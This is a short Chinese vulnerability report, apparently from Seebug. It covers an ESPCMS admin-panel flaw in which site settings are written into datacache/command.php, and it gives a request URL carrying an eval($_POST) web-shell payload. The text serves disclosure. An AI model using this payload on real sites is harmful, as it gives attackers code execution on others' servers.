### 简要描述： RT ### 详细说明： 在后台getshell，略鸡肋 在/datacache/command.php文件 ``` $CONFIG=Array( //ICP备案 'icpbeian'=>'', //网站状态 'is_close'=>0, //管理员Email 'admine_mail'=>'11@qq.com', //网站网址 'domain'=>'http://localhost/espcms/', //日志记录 'is_log'=>1, ………… ``` 后台修改网站系统设置后可将代码写入command.php中 [<img src="https://images.seebug.org/upload/201312/120410534a798e0312268c1164ff795223f803a0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/120410534a798e0312268c1164ff795223f803a0.png) [<img src="https://images.seebug.org/upload/201312/1204113465a382d9865563c55b98d104ebb837ba.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1204113465a382d9865563c55b98d104ebb837ba.png) 访问command.php并传参 ``` http://localhost/espcms/datacache/command.php?test=@eval%28$_POST[%27a%27]%29; ``` [<img src="https://images.seebug.org/upload/201312/12041352746eda3dcc921ddfaf79370b247012f7.png" alt="3.png" width="600"...
### 简要描述： RT ### 详细说明： 在后台getshell，略鸡肋 在/datacache/command.php文件 ``` $CONFIG=Array( //ICP备案 'icpbeian'=>'', //网站状态 'is_close'=>0, //管理员Email 'admine_mail'=>'11@qq.com', //网站网址 'domain'=>'http://localhost/espcms/', //日志记录 'is_log'=>1, ………… ``` 后台修改网站系统设置后可将代码写入command.php中 [<img src="https://images.seebug.org/upload/201312/120410534a798e0312268c1164ff795223f803a0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/120410534a798e0312268c1164ff795223f803a0.png) [<img src="https://images.seebug.org/upload/201312/1204113465a382d9865563c55b98d104ebb837ba.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1204113465a382d9865563c55b98d104ebb837ba.png) 访问command.php并传参 ``` http://localhost/espcms/datacache/command.php?test=@eval%28$_POST[%27a%27]%29; ``` [<img src="https://images.seebug.org/upload/201312/12041352746eda3dcc921ddfaf79370b247012f7.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/12041352746eda3dcc921ddfaf79370b247012f7.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201312/1204143968f03c2a416d177782edf46243d86f7c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/1204143968f03c2a416d177782edf46243d86f7c.png) [<img src="https://images.seebug.org/upload/201312/12041423571acaa769931ffb7ec49ad0a31b2cb2.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/12041423571acaa769931ffb7ec49ad0a31b2cb2.png)
